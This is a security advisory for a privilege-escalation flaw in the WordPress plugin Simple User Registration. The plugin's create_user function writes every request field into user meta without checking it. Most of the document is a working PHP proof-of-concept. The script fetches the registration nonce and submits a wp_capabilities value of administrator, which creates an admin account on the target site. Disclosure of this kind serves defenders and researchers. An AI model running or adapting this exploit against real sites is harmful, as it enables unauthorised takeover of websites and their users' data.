Simple User Registration [Privilege Escalation]
Description
This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87133). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.
In this vulnerability we use the AJAX action nm_wpregistration_create_user
to create a user with administrative rights.
The problem lies in method \NM_WPRegistration::create_user()
where
this plugin blindly trusts user input to update user meta values:
function create_user() {
// ...
extract( $_REQUEST );
$submitted_data = $_REQUEST;
//...
$userid = wp_insert_user( $userdata );
if ( $userid && !is_wp_error( $userid ) ) {
foreach ( $submitted_data as $key => $val ) {
update_user_meta ( $userid, $key, $val );
}
// ...
PoC
#!/usr/bin/env php
<?php
/*******************************************************************************
* Simple User Registration [Privilege Escalation - Register as Admin]
*
* Author: Pan Vag <pan@local-cluster.com>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
$registrationPageUrl = Config::get('registration_page', null, true, 'Enter the registration page URL, we need to get the nonce');
if(!$registrationPageUrl){
ExitCodes::exitWithFailedPrecondition('You must enter the registration page');
}
Cli::writeInfo('Getting nonce...');
$nonce = \Wordfence\ExKit\WPNonce::findOnPage(
new \Wordfence\ExKit\Session(),
$registrationPageUrl,
'/<input.*?name\s*=\s*[\'"]nm_wpregistration_nonce[\'"]\s*value\s*=\s*[\'"]([^\'"]+)[\'"]/'
);
if(!$nonce){
ExitCodes::exitWithFailed('Failed to get nonce');
}
$postData = [
'action' => 'nm_wpregistration_create_user',
'nm_wpregistration_nonce' => $nonce,
'wp_registration_login' => Config::get('wp_registration_login', null, true, 'Enter the username'),
'wp_registration_email' => Config::get('wp_registration_email', null, true, 'Enter the email'),
'wp_registration_first_name' => uniqid(),
'wp_registration_last_name' => uniqid(),
'wp_capabilities' => ['administrator' => 1],
];
Cli::writeInfo( 'Registering user...' );
$r = Request::post(Endpoint::adminAjaxURL(), [], $postData);
$rJson = @json_decode($r->body);
if(!isset($rJson->status) || $rJson->status != 'success'){
ExitCodes::exitWithFailed('Failed to register user');
}
ExitCodes::exitWithSuccess('User registered, the password will be sent at the email address you provided');
INFO
- 6 September 2016
- Pan Vag
- wordpresspoets.com
- wordpress.org
- WordPress 4.5.2
- DWF-2016-87134